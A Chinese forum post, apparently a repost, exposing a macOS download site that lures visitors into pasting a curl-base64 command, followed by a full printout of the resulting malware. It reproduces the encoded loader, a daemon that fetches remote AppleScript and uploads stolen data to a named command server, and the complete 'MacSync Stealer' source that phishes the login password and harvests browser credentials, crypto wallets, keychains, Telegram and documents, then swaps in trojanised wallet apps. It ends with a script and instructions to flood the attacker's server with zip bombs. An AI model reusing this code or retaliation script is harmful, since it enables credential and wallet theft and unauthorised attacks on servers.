digit77下载站夹带私货，投毒

niege
Mon, 24 Nov 2025 03:38:29 +0000
主机网络

https://www.digit77.com/ 网站内的所有 app 第一次点击都会进入地址：https://maccloud12.com/q4/， 第二次点击会正常
投毒为静态页面上挂了一个点击事件

投毒页面如下图：

复制命令执行后将会弹出一个伪装密码输入框，输入后将会被窃取各种信息。

其中 curl base64 执行后会下载一个 shell 脚本，内容如下：

#!/bin/zsh
d13161=$(base64 -D <<'PAYLOAD_m965718025908' | gunzip
H4sIALB9HWkAA+VUXW/TMBR976+4eNW0SeTD+W5H2SYkGBrTkDbEJECVY1+3Vh07SlzoBvx3Qjd1
WekTT0j4KTr3+OTec26y9ywolQnu2vlAMKysmcql4U5Zc3AI3wfQHVwhhxeBwK+BWWr9iL3cgUVb
oLacaRC2YspMCGrZWFFqayufK3dLehxnF9hRQlbQkie5iIskyqiIikSWUUmjLEWeh0WeilEhBZcR
HRV0lGKZ5LnMk2gUJygi2ZdktZou8HZCUjoKUdI8jmkRs1DwLJZlFsVxmss0E9n9JSXhEwz3wJs5
COHLEbg5mnXl9+HLRoO3AK8Fz6vYynOqQohD8M6AfGix8U5naNwYLuyd0poFqR/CwQXjyjjbzo/g
rXGooQPg8gpugIZTmk7zQzita40fsTxXLkjj3I8zODg/u7549xy0WiC8Qb6wh/Bq3tgKgxH1Qz9J
8sinNIErJlmjHq6RdSvd0F439BiGD+MTIHPn6nEQDO9zCMStYZXix24lJsO17/v1t+6REvgBtmUt
b1Tt7kPVLf4fFvw5u1S9tTgGz+COtcCVckD7/I1LN/D+8uoaPm+4/5JPW13tsGyLwfUYwqdofwfC
J5XXQKTSODkJXFUHna3azmbKzPw7VZNtZrlUWvSD6NW3c5sxh+SvYmkq8CTs6Gfwc9Bpbf39gAxP
COw/iq4Fw8Hme3h4QSf+C0p6p/5DBQAA
PAYLOAD_m965718025908
)
eval $d13161

解码可得：

daemon_function() {
    exec </dev/null
    exec >/dev/null
    exec 2>/dev/null
    local domain="elfrodbloom.city"
    local token="0a81bc47d384261d284fb2b1265ec70875d98fdcf2198195eb477f742934ed2f"
    local api_key="5190ef1733183a0dc63fb623357f56d6"
    if [ $# -gt 0 ]; then
        curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
    else
        curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token" | osascript
    fi
    if [ $? -ne 0 ]; then
        exit 1
    fi
    curl -k -X POST \
         -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
         -H "api-key: $api_key" \
         -H "cl: 0" \
         --max-time 300 \
         -F "file=@/tmp/osalogging.zip" \
         -F "buildtxd=$token" \
         "http://$domain/gate"
    if [ $? -ne 0 ]; then
        exit 1
    fi
    rm -f /tmp/osalogging.zip
}
if daemon_function "$@" & then
    exit 0
else
    exit 1
fi

其中会再次下载一个木马程序：

on filesizer(paths)
	set fsz to 0
	try
		set theItem to quoted form of POSIX path of paths
		set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
	end try
	return fsz
end filesizer

on mkdir(someItem)
	try
		set filePosixPath to quoted form of (POSIX path of someItem)
		do shell script "mkdir -p " & filePosixPath
	end try
end mkdir

on FileName(filePath)
	try
		set reversedPath to (reverse of every character of filePath) as string
		set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath
		set finalPath to (reverse of every character of trimmedPath) as string
		return finalPath
	end try
end FileName

on BeforeFileName(filePath)
	try
		set lastSlash to offset of "/" in (reverse of every character of filePath) as string
		set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
		return trimmedPath
	end try
end BeforeFileName

on writeText(textToWrite, filePath)
	try
		set folderPath to BeforeFileName(filePath)
		mkdir(folderPath)
		set fileRef to (open for access filePath with write permission)
		write textToWrite to fileRef starting at eof
		close access fileRef
	end try
end writeText

on readwrite(path_to_file, path_as_save)
	try
		set fileContent to read path_to_file
		set folderPath to BeforeFileName(path_as_save)
		mkdir(folderPath)
		do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
	end try
end readwrite

on isDirectory(someItem)
	try
		set filePosixPath to quoted form of (POSIX path of someItem)
		set fileType to (do shell script "file -b " & filePosixPath)
		if fileType ends with "directory" then
			return true
		end if
		return false
	end try
end isDirectory

on GrabFolderLimit(sourceFolder, destinationFolder)
	try
		set bankSize to 0
		set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
		set fileList to list folder sourceFolder without invisibles
		mkdir(destinationFolder)
		repeat with currentItem in fileList
			if currentItem is not in exceptionsList then
				set itemPath to sourceFolder & "/" & currentItem
				set savePath to destinationFolder & "/" & currentItem
				if isDirectory(itemPath) then
					GrabFolderLimit(itemPath, savePath)
				else
					set fsz to filesizer(itemPath)
					set bankSize to bankSize + fsz
					if bankSize < 100 * 1024 * 1024 then
						readwrite(itemPath, savePath)
					end if
				end if
			end if
		end repeat
	end try
end GrabFolderLimit

on GrabFolder(sourceFolder, destinationFolder)
	try
		set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__"}
		set fileList to list folder sourceFolder without invisibles
		mkdir(destinationFolder)
		repeat with currentItem in fileList
			if currentItem is not in exceptionsList then
				set itemPath to sourceFolder & "/" & currentItem
				set savePath to destinationFolder & "/" & currentItem
				if isDirectory(itemPath) then
					GrabFolder(itemPath, savePath)
				else
					readwrite(itemPath, savePath)
				end if
			end if
		end repeat
	end try
end GrabFolder

on checkvalid(username, password_entered)
	try
		set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
		if result is not equal to "" then
			return false
		else
			return true
		end if
	on error
		return false
	end try
end checkvalid

on getpwd(username, writemind, provided_password)
    try
        if provided_password is not equal to "" then
            if checkvalid(username, provided_password) then
                writeText(provided_password, writemind & "Password")
                return provided_password
            end if
        end if
        if checkvalid(username, "") then
            set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
            writeText(result as string, writemind & "masterpass-chrome")
            return ""
        else
            repeat
				set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
                set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
                set password_entered to text returned of result
                if checkvalid(username, password_entered) then
                    writeText(password_entered, writemind & "Password")
                    return password_entered
                end if
            end repeat
        end if
    end try
    return ""
end getpwd

on grabPlugins(paths, savePath, pluginList, index)
	try
		set fileList to list folder paths without invisibles
		repeat with PFile in fileList
			repeat with Plugin in pluginList
				if (PFile contains Plugin) then
					set newpath to paths & PFile
					set newsavepath to savePath & "/" & Plugin
					if index then
						set newsavepath to savePath & "/IndexedDB/" & PFile
					end if
					GrabFolder(newpath, newsavepath)
				end if
			end repeat
		end repeat
	end try
end grabPlugins

on Chromium(writemind, chromium_map)

	set pluginList to {}
    set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
    set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
    set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
    set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
    set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
    set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
    set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
    set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
    set pluginList to pluginList & {"didegimhafipceonhjepacocaffmoppf", "oboonakemofpalcgghocfoadofidjkkk"}
    set pluginList to pluginList & {"jgnfghanfbjmimbdmnjfofnbcgpkbegj", "mmhlniccooihdimnnjhamobppdhaolme"}
    set pluginList to pluginList & {"dbfoemgnkgieejfkaddieamagdfepnff", "bhghoamapcdpbohphigoooaddinpkbai"}
    set pluginList to pluginList & {"nngceckbapebfimnlniiiahkandclblb", "lojeokmpinkpmpbakfkfpgfhpapbgdnd"}
    set pluginList to pluginList & {"ibpjepoimpcdofeoalokgpjafnjonkpc", "gmohoglkppnemohbcgjakmgengkeaphi"}
    set pluginList to pluginList & {"hdokiejnpimakedhajhdlcegeplioahd", "oboonakemofpalcgghocfoadofidjkkk"}
    set pluginList to pluginList & {"dckgbiealcgdhgjofgcignfngijpbgba", "gmegpkknicehidppoebnmbhndjigpica"}
    set pluginList to pluginList & {"eiokpeobbgpinbmcanngjjbklmhlepan", "odfkmgboddhcgopllebhkbjhokpojigd"}
    set pluginList to pluginList & {"ppnbnpeolgkicgegkbkbjmhlideopiji", "cejfhijdfemlohmcjknpbeaohedoikpp"}
    set pluginList to pluginList & {"nmhjblhloefhbhgbfkdgdpjabaocnhha", "iklgijhacenjgjgdnpnohbafpbmnccek"}
    set pluginList to pluginList & {"ppkkcfblhfgmdmefkmkoomenhgecbemi", "lgndjfkadlbpaifdpbbobdodbaiaiakb"}
    set pluginList to pluginList & {"bbphmbmmpomfelajledgdkgclfekilei", "bnfooenhhgcnhdkdjelgmmkpaemlnoek"}

	set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
	repeat with chromium in chromium_map
		set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
		try
			set fileList to list folder item 2 of chromium without invisibles
			repeat with currentItem in fileList
				if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
					set profileName to (item 1 of chromium & currentItem)
					repeat with CFile in chromiumFiles
						set readpath to (item 2 of chromium & currentItem & CFile)
						if ((CFile as string) is equal to "/Network/Cookies") then
							set CFile to "/Cookies"
						end if
						if ((CFile as string) is equal to "/Local Extension Settings/") then
							grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
						else if (CFile as string) is equal to "/IndexedDB/" then
							grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
						else
							set writepath to savePath & currentItem & CFile
							readwrite(readpath, writepath)
						end if
					end repeat
				end if
			end repeat
		end try
	end repeat
end Chromium

on ChromiumWallets(writemind, chromium_map)

	set pluginList to {}
	set pluginList to pluginList & {"nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa"}
	set pluginList to pluginList & {"hnfanknocfeofbddgcijnmhnfnkdnaad", "fnjhmkhhmkbjkkabndcnnogagogbneec"}
	set pluginList to pluginList & {"acmacodkjbdgmoleebolmdjonilkdbch", "egjidjbpglichdcondbcbdnbeeppgdph"}
	set pluginList to pluginList & {"aholpfdialjgjfhomihkjbmgjidlcdno", "fhbohimaelbohpjbbldcngcnapndodjp"}
	set pluginList to pluginList & {"pdliaogehgdbhbnmkklieghmmjkpigpa", "mcohilncbfahbmgdjkbpemcciiolgcge"}
	set pluginList to pluginList & {"hpglfhgfnhbgpjdenjgmdgoeiappafln", "bhhhlbepdkbapadjdnnojkbgioiodbic"}
	set pluginList to pluginList & {"dhgnlgphgchebgoemcjekedjjbifijid", "cjmkndjhnagcfbpiemnkdpomccnjblmj"}
	set pluginList to pluginList & {"kamfleanhcmjelnhaeljonilnmjpkcjc", "jnldfbidonfeldmalbflbmlebbipcnle"}
	set pluginList to pluginList & {"fdcnegogpncmfejlfnffnofpngdiejii", "klnaejjgbibmhlephnhpmaofohgkpgkd"}
	set pluginList to pluginList & {"pdadjkfkgcafgbceimcpbkalnfnepbnk", "kjjebdkfeagdoogagbhepmbimaphnfln"}
	set pluginList to pluginList & {"ldinpeekobnhjjdofggfgjlcehhmanlj", "dkdedlpgdmmkkfjabffeganieamfklkm"}
	set pluginList to pluginList & {"bcopgchhojmggmffilplmbdicgaihlkp", "kpfchfdkjhcoekhdldggegebfakaaiog"}
	set pluginList to pluginList & {"idnnbdplmphpflfnlkomgpfbpcgelopg", "mlhakagmgkmonhdonhkpjeebfphligng"}
	set pluginList to pluginList & {"bipdhagncpgaccgdbddmbpcabgjikfkn", "gcbjmdjijjpffkpbgdkaojpmaninaion"}
	set pluginList to pluginList & {"nhnkbkgjikgcigadomkphalanndcapjk", "hoighigmnhgkkdaenafgnefkcmipfjon"}
	set pluginList to pluginList & {"klghhnkeealcohjjanjjdaeeggmfmlpl", "fhbohimaelbohpjbbldcngcnapndodjp"}
	set pluginList to pluginList & {"ebfidpplhabeedpnhjnobghokpiioolj", "emeeapjkbcbpbpgaagfchmcgglmebnen"}
	set pluginList to pluginList & {"fldfpgipfncgndfolcbkdeeknbbbnhcc", "penjlddjkjgpnkllboccdgccekpkcbin"}
	set pluginList to pluginList & {"fhilaheimglignddkjgofkcbgekhenbh", "hmeobnfnfcmdkdcmlblgagmfpfboieaf"}
	set pluginList to pluginList & {"cihmoadaighcejopammfbmddcmdekcje", "lodccjjbdhfakaekdiahmedfbieldgik"}
	set pluginList to pluginList & {"omaabbefbmiijedngplfjmnooppbclkk", "cjelfplplebdjjenllpjcblmjkfcffne"}
	set pluginList to pluginList & {"jnlgamecbpmbajjfhmmmlhejkemejdma", "fpkhgmpbidmiogeglndfbkegfdlnajnf"}
	set pluginList to pluginList & {"bifidjkcdpgfnlbcjpdkdcnbiooooblg", "amkmjjmmflddogmhpjloimipbofnfjih"}
	set pluginList to pluginList & {"flpiciilemghbmfalicajoolhkkenfel", "hcflpincpppdclinealmandijcmnkbgn"}
	set pluginList to pluginList & {"aeachknmefphepccionboohckonoeemg", "dmkamcknogkgcdfhhbddcghachkejeap"}
	set pluginList to pluginList & {"aiifbnbfobpmeekipheeijimdpnlpgpp"}

	set chromiumFiles to {"/Local Extension Settings/", "/IndexedDB/"}
	repeat with chromium in chromium_map
		try
			set fileList to list folder item 2 of chromium without invisibles
			repeat with currentItem in fileList
				if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
					set profileName to (item 1 of chromium & currentItem)
					repeat with CFile in chromiumFiles
						set readpath to (item 2 of chromium & currentItem & CFile)
						if ((CFile as string) is equal to "/Local Extension Settings/") then
							grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, false)
						else if (CFile as string) is equal to "/IndexedDB/" then
							grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, true)
						else
							set writepath to savePath & currentItem & CFile
							readwrite(readpath, writepath)
						end if
					end repeat
				end if
			end repeat
		end try
	end repeat
end Chromium


on Telegram(writemind, library)
		try
			GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Desktop/")
		end try
end Telegram

on Keychains(writemind)
		try
			do shell script "cp ~/Library/Keychains/*.keychain-db " & quoted form of (POSIX path of writemind)
		end try
end Keychains


on DesktopWallets(writemind, deskwals)
	repeat with deskwal in deskwals
		try
			GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
		end try
	end repeat
end DesktopWallets

on Filegrabber(writemind)
 try
  set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
  mkdir(destinationFolderPath)
  set destinationSafariPath to POSIX file (writemind & "Safari/")
  mkdir(destinationSafariPath)
  set destinationNotesPath to POSIX file (writemind & "Notes/")
  mkdir(destinationNotesPath)
  set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx"}
  set bankSize to 0
  set fileCounter to 1

  tell application "Finder"
	try
		duplicate file ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:Cookies.binarycookies") to folder (destinationSafariPath) with replacing
	end try
	try
		set notesDB to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
		set dbFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
		repeat with dbFile in dbFiles
			try
				duplicate (file dbFile of folder notesDB) to folder (destinationNotesPath) with replacing
			end try
		end repeat
	end try
	try
		set desktopFiles to every file of desktop
		set documentsFiles to every file of folder "Documents" of (path to home folder)
		set downloadsFiles to every file of folder "Downloads" of (path to home folder)

		repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
		set fileExtension to name extension of aFile
		if fileExtension is in extensionsList then
		set filesize to size of aFile
		if (bankSize + filesize) < 10 * 1024 * 1024 then
		try
			set newFileName to (fileCounter as string) & "." & fileExtension
			duplicate aFile to folder destinationFolderPath with replacing
			set destFolderAlias to destinationFolderPath as alias
			tell application "Finder"
			set copiedFiles to every file of folder destFolderAlias
			set lastCopiedFile to item -1 of copiedFiles
			set name of lastCopiedFile to newFileName
			end tell

			set bankSize to bankSize + filesize
			set fileCounter to fileCounter + 1
		end try
		else
		exit repeat
		end if
		end if
		end repeat
	end try
  end tell
 end try
end Filegrabber


on FilegrabberFDA(writemind, profile)
	set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
	mkdir(destinationFolderPath)
	try

		set sourceFolders to {profile & "/Downloads/", profile & "/Documents/", profile & "/Desktop/"}
		set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx"}

		repeat with src in sourceFolders
			repeat with ext in extensionsList
				try
					set shellCmd to "find " & quoted form of (POSIX path of src) & " -maxdepth 1 -type f -iname '*." & ext & "' -print0 | xargs -0 -J% cp -vp % " & quoted form of (POSIX path of destinationFolderPath)
					do shell script shellCmd
				end try
			end repeat
		end repeat

	end try
	try
		readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
		readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
		readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
	end try
	try
		readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
		readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
		readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")

	end try

end Filegrabber



try
	do shell script "killall Terminal"
end try

set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/sync" & randomNumber & "/"

set library to profile & "/Library/Application Support/"
set password_entered to getpwd(username, writemind, "test")

delay 0.01

set chromiumMap to {}
set chromiumMap to chromiumMap & {{"Yandex", library & "Yandex/YandexBrowser"}}
set chromiumMap to chromiumMap & {{"Chrome", library & "Google/Chrome/"}}
set chromiumMap to chromiumMap & {{"Brave", library & "BraveSoftware/Brave-Browser/"}}
set chromiumMap to chromiumMap & {{"Edge", library & "Microsoft Edge/"}}
set chromiumMap to chromiumMap & {{"Vivaldi", library & "Vivaldi/"}}
set chromiumMap to chromiumMap & {{"Opera", library & "com.operasoftware.Opera/"}}
set chromiumMap to chromiumMap & {{"OperaGX", library & "com.operasoftware.OperaGX/"}}
set chromiumMap to chromiumMap & {{"Chrome Beta", library & "Google/Chrome Beta/"}}
set chromiumMap to chromiumMap & {{"Chrome Canary", library & "Google/Chrome Canary"}}
set chromiumMap to chromiumMap & {{"Chromium", library & "Chromium/"}}
set chromiumMap to chromiumMap & {{"Chrome Dev", library & "Google/Chrome Dev/"}}
set chromiumMap to chromiumMap & {{"Arc", library & "Arc/User Data"}}
set chromiumMap to chromiumMap & {{"Coccoc", library & "CocCoc/Browser/"}}

set walletMap to {}
set walletMap to walletMap & {{"Wallets/Desktop/Exodus", library & "Exodus/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum", profile & "/.electrum/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Atomic", library & "Atomic Wallet/Local Storage/leveldb/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Guarda", library & "Guarda/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Coinomi", library & "Coinomi/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Sparrow", profile & "/.sparrow/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Wasabi", profile & "/.walletwasabi/client/Wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Bitcoin_Core", library & "Bitcoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Armory", library & "Armory/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electron_Cash", profile & "/.electron-cash/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Monero", profile & "/.bitmonero/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Litecoin_Core", library & "Litecoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dash_Core", library & "DashCore/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Dogecoin_Core", library & "Dogecoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/BlueWallet", library & "BlueWallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Zengo", library & "Zengo/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trust", library & "Trust Wallet/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Live", library & "Ledger Live/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trezor Suite", library & "@trezor"}}

readwrite(library & "Binance/", writemind & "Wallets/Desktop/Binance/")
readwrite(library & "TON Keeper/", writemind & "Wallets/Desktop/TonKeeper/")
#readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "login.keychain-db")

writeText(username, writemind & "Username")
writeText("1.0.9_release (x64_86 & ARM)", writemind & "Version")

try
	writeText("MacSync Stealer\n\n", writemind & "info")
	writeText("Build Tag: q4\n", writemind & "info")
	writeText("Version: 1.0.9_release (x64_86 & ARM)\n\n", writemind & "info")
	writeText("Username: " & username, writemind & "info")
	writeText("\nPassword: " & password_entered & "\n\n", writemind & "info")
	set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
	writeText(result, writemind & "info")
end try

Chromium(writemind, chromiumMap)
ChromiumWallets(writemind, chromiumMap)
DesktopWallets(writemind, walletMap)
Telegram(writemind, library)
Keychains(writemind)



try
	do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/osalogging.zip"
end try
try
	do shell script "rm -rf /tmp/sync*"
end try

display dialog "Your Mac does not support this application. Try reinstalling or downloading the version for your system." with title "System Preferences" with icon stop buttons {"ОК"}


set LEDGERURL to "https://elfrodbloom.city/ledger/0a81bc47d384261d284fb2b1265ec70875d98fdcf2198195eb477f742934ed2f"
set LEDGERDMGPATH to "/tmp/0a81bc47d384261d284fb2b1265ec70875d98fdcf2198195eb477f742934ed2f.zip"
set LEDGERMOUNT to "/tmp"
set LEDGERNAME to "Ledger Live.app"
set LEDGERPATH to LEDGERMOUNT & "/" & LEDGERNAME
set LEDGERAPPFOLDER to "/Applications"
set LEDGERDEST to LEDGERAPPFOLDER & "/" & LEDGERNAME

try
    do shell script "test -d " & quoted form of LEDGERDEST
    set ledger_installed to true
on error
    set ledger_installed to false
end try

if ledger_installed then
    try
        do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of LEDGERURL & " -o " & quoted form of LEDGERDMGPATH
        do shell script "unzip -q -o " & quoted form of LEDGERDMGPATH & " -d " & quoted form of LEDGERMOUNT
        set app_exists to false
        try
            do shell script "test -e " & quoted form of LEDGERPATH
            set app_exists to true
        end try

        if app_exists then
            try
                do shell script "killall -9 'Ledger Live'"
            end try
            do shell script "rm -rf " & quoted form of LEDGERDEST
            do shell script "cp -R " & quoted form of LEDGERPATH & " " & quoted form of LEDGERAPPFOLDER
        end if
    end try

    try
        do shell script "rm -rf " & quoted form of LEDGERDMGPATH
        do shell script "rm -rf " & quoted form of LEDGERPATH
    end try
end if

set TREZORURL to "https://elfrodbloom.city/trezor/0a81bc47d384261d284fb2b1265ec70875d98fdcf2198195eb477f742934ed2f"
set TREZORDMGPATH to "/tmp/0a81bc47d384261d284fb2b1265ec70875d98fdcf2198195eb477f742934ed2f.zip"
set TREZORMOUNT to "/tmp"
set TREZORNAME to "Trezor Suite.app"
set TREZORPATH to TREZORMOUNT & "/" & TREZORNAME
set TREZORAPPFOLDER to "/Applications"
set TREZORDEST to TREZORAPPFOLDER & "/" & TREZORNAME

try
    do shell script "test -d " & quoted form of TREZORDEST
    set trezor_installed to true
on error
    set trezor_installed to false
end try

if trezor_installed then
    try
        do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of TREZORURL & " -o " & quoted form of TREZORDMGPATH
        do shell script "unzip -q -o " & quoted form of TREZORDMGPATH & " -d " & quoted form of TREZORMOUNT
        set app_exists to false
        try
            do shell script "test -e " & quoted form of TREZORPATH
            set app_exists to true
        end try

        if app_exists then
            try
                do shell script "killall -9 'Trezor Suite'"
            end try
            do shell script "rm -rf " & quoted form of TREZORDEST
            do shell script "cp -R " & quoted form of TREZORPATH & " " & quoted form of TREZORAPPFOLDER
        end if
    end try

    try
        do shell script "rm -rf " & quoted form of TREZORDMGPATH
        do shell script "rm -rf " & quoted form of TREZORPATH
    end try
end if

然后收集电脑内的各种信息最后发送出去，并清理痕迹。
有机器的佬可以多给喂点数据，撑爆他的服务器！！

以下是最终上传收集到的压缩包 curl 做成了一个 shell 脚本

#!/bin/bash

# 循环执行 100 次 POST 请求，每次间隔 1 秒
for i in {1..100}; do
  echo "第 $i 次请求开始..."
  curl -k -X POST \
    -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
    -H "api-key: 5190ef1733183a0dc63fb623357f56d6" \
    -H "cl: 0" \
    --max-time 300 \
    -F "file=@/tmp/osalogging.zip" \
    -F "buildtxd=0a81bc47d384261d284fb2b1265ec70875d98fdcf2198195eb477f742934ed2f" \
    "http://elfrodbloom.city/gate"
  echo "第 $i 次请求结束，等待 1 秒..."
  sleep 1  # 间隔 1 秒
done

echo "100 次请求全部完成"

这里有压缩炸弹可以下载：https://www.bamsoftware.com/hacks/zipbomb/zblg.zip
将下载下来的压缩炸弹上传到恶意服务器等他解压，自己本地可不要解压 ，然后将下载的压缩炸弹改名为 “osalogging.zip”，再将上面的 curl 中 /tmp/osalogging.zip 替换为实际压缩炸弹路径就行，有机器是 linux 或者 macos 的没事挂着就行，撑爆他！！

转自：https://linux.do/t/topic/1188893

1 个帖子 - 1 位参与者

阅读完整话题